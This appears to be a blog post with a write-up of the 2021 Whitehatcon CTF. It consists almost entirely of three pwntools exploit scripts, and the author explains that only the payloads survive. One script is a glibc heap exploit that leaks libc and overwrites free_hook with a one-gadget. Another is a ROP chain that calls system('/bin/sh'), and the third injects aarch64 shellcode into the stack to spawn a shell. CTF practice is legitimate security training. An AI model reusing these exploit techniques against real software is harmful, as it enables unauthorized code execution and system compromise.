0%

2021 Whitehatcon CTF

2021 Whitehatcontest CTF Write-up

I’m very happy that our team came in 24th in this CTF and i solve 3 problems. I write about it a month after the CTF. Actually i forgot how to solve them. that’s why i need to check binary files again. but i lost binary files, could only find payload. So this post has only payload.TT

chunk_manager

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *

p = process('./binary')
e = ELF('./binary')

context.log_level = 'DEBUG'

def allocMem(idx,size):
p.sendlineafter('>\n','1')
p.sendlineafter('index:\n',str(idx))
p.sendlineafter('size?\n',str(size))

def printMem(idx):
p.sendlineafter('>\n','2')
p.sendlineafter('index:\n',str(idx))

def fillMem(idx,offset,data):
p.sendlineafter('>\n','3')
p.sendlineafter('index:\n',str(idx))
p.sendlineafter('in:\n',str(offset))
p.sendafter('content:\n',data)

def freeMem(idx):
p.sendlineafter('>\n','4')
p.sendlineafter('index:\n',str(idx))

pause()


#leak libc
allocMem(0,0x20)
allocMem(1,0x409)
allocMem(2,0x20)

freeMem(1)

for i in range(0,41,8):
fillMem(0,i,'PPPPPPPP')

printMem(0)

leak = u64(p.recvuntil('\x0a')[-7:-1]+b'\x00\x00')

libcbase = leak - 0x3ebca0
log.info("leak: "+hex(leak))
log.info("libcbase: " + hex(libcbase))

oneshot = 0x10a41c + libcbase
oneshot = 0x4f432 + libcbase
#oneshot = 0x4f3d5 + libcbase
fillMem(0,40,p64(0x421))

#pause()

#leak heap
allocMem(3,0x20)
allocMem(4,0x20)
allocMem(5,0x20)

freeMem(4)
freeMem(3)

fillMem(0,40,'AAAAAAAC')

#pause()
printMem(0)
p.recvuntil('C')
leak = p.recvuntil('\x0a')[:-1]
leak = u64(leak+b'\x00'*(8-len(leak)))
log.info("heap: " +hex(leak))

fillMem(0,40,p64(0x31))
heapbase = leak - 0xc0 + 0x50
#pause()
#overwrite topchunk
#topchunk = leak + 0x410
free_hook = libcbase + 0x3ed8e8

log.info("free_hook: " + hex(free_hook))
#log.info("top_chunk: " + hex(topchunk))

'''
fillMem(2,40,p64(0xffffffffffffffff))

size = (free_hook - 0x20 - 0x10 - topchunk)

allocMem(9,str(size))
pause()
allocMem(4,0x200)
fillMem(4,0,'AAAAAAAAA')

pause()
printMem(1)
'''
pause()
fillMem(0,(free_hook-heapbase-0x10),p64(oneshot))

freeMem(0)
p.interactive()

string manger

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
from struct import pack

#p = process('./binary')
e = ELF('./binary')

context.log_level = 'DEBUG'

def copyString(size):
p.sendlineafter('> ','1')
p.sendlineafter('copy size ? ',size)

def modifyString(data):
p.sendlineafter('> ','3')
p.sendlineafter('Content : ',data)

def cmpString(size):
p.sendlineafter('> ','2')
p.sendlineafter('compare size ? ',size)

def convert(oneshot):
oneshot = pack('>q',oneshot)
oneshot = oneshot[2:]
oneshot = u64(b'\x00'*(8-len(oneshot)) + oneshot)
return oneshot


pause()
# leak libc
payload = b''
payload += b'A'*80

modifyString(payload)
pause()
copyString(str(55))
pause()
cmpString(str(55))

p.recvuntil('string1 : ')
leak = p.recvuntil(' a')[-8:-2]
leak = u64(leak+ b'\x00'*(8-len(leak)))
print (hex(leak))

libcleak = pack('>q',leak)
libcleak = libcleak[2:]
libcleak = u64(libcleak + b'\x00'*(8-len(libcleak)))
print (hex(libcleak))

libcbase = libcleak - 0x3fc39f

log.info("libcbase : " + hex(libcbase))
oneshot = libcbase + 0x10a41c
oneshot = libcbase + 0x4f432
oneshot = libcbase + 0x4f3d5
#overwrite ret
ret = libcbase + 0x001d84d3
system = libcbase + 0x4f550
binsh = libcbase + 0x1b3e1a
prdi = libcbase + 0x0016609c

system = convert(system)
binsh = convert(binsh)
prdi = convert(prdi)
ret = convert(ret)

'''
oneshot = pack('>q',oneshot)
oneshot = oneshot[2:]
oneshot = u64(b'\x00'*(8-len(oneshot)) + oneshot)

print (hex(oneshot))
'''

payload = b''
payload += b'BBBB'
payload += b'AAAAAAAA'*13
payload += p64(system)
payload += p64(binsh)
payload += p64(prdi)
payload += p64(ret)
payload += b'E'

modifyString(payload)
copyString(str(len(payload)))

p.interactive()

am

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

#p = process(['qemu-aarch64-static','-L','/usr/aarch64-linux-gnu','-g','1234','./am'])
#e = ELF('./am')
context.log_level = 'DEBUG'

main = 0x400E14

size = 0x412078
malloc = 0x412088
count = 0x4120d8
syscall = 0x400938

pause()
p.sendlineafter('?\n','5')
sleep(1)
p.sendlineafter('?\n','2')
sleep(1)

payload = b''
payload += b'AAAAAAAA'*13
p.sendafter('KEYWORD\n',payload)


p.sendlineafter('?\n','3')
p.recvuntil('0: ')

leak = u64(p.recvuntil('\n')[-4:-1]+b'\x00\x40\x00\x00\x00')
print (hex(leak))
stack = leak - 0x78

shellcode = b"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"
p.sendlineafter('?\n','5')
sleep(1)
p.sendlineafter('?\n','2')

payload = b''
payload += b'\x90'*0x10
payload += shellcode
payload += b'\x90'*(0x70-len(payload))
#payload += p64(0x04136b0)
payload += p64(stack)
p.sendlineafter('KEYWORD\n',payload)
p.interactive()